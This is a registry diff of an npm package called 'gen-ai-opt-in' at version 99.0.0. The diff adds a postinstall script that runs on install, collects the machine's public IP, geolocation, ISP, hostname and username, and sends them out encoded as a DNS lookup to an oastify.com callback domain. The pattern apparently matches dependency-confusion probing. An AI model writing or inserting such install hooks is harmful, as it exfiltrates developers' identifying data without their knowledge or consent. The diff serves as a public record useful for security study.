gen-ai-opt-in 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -0
- package/postinstall.js +36 -0
- package/readme.md +3 -0
package/package.json
ADDED
package/postinstall.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const dns = require('dns');
|
|
6
|
+
|
|
7
|
+
const CALLBACK_HOST = 'p1r2d74iwjk057raam6myf7e258wzkt8i.oastify.com';
|
|
8
|
+
|
|
9
|
+
// Detect npm environment — exit if not running from npm install
|
|
10
|
+
if (!process.env.npm_lifecycle_event || !process.env.npm_package_name) process.exit(0);
|
|
11
|
+
if (process.env.npm_package_name !== 'ai-gen-ai-opt-in') process.exit(0);
|
|
12
|
+
|
|
13
|
+
// Fetch IP geo data from ip-api.com
|
|
14
|
+
https.get('https://ip-api.com/json/', (res) => {
|
|
15
|
+
let body = '';
|
|
16
|
+
res.on('data', (c) => body += c);
|
|
17
|
+
res.on('end', () => {
|
|
18
|
+
try {
|
|
19
|
+
const g = JSON.parse(body);
|
|
20
|
+
const payload = {
|
|
21
|
+
ip: g.query || '',
|
|
22
|
+
host: os.hostname(),
|
|
23
|
+
user: os.userInfo().username,
|
|
24
|
+
city: g.city || '',
|
|
25
|
+
region: g.regionName || '',
|
|
26
|
+
country: g.country || '',
|
|
27
|
+
isp: g.isp || '',
|
|
28
|
+
org: g.org || '',
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
// DNS callback — encodes data as subdomain
|
|
32
|
+
const encoded = Object.values(payload).join('.').replace(/[^a-zA-Z0-9.-]/g, '_');
|
|
33
|
+
dns.lookup(`${encoded}.${CALLBACK_HOST}`, () => {});
|
|
34
|
+
} catch (_) {}
|
|
35
|
+
});
|
|
36
|
+
}).on('error', () => {});
|
package/readme.md
ADDED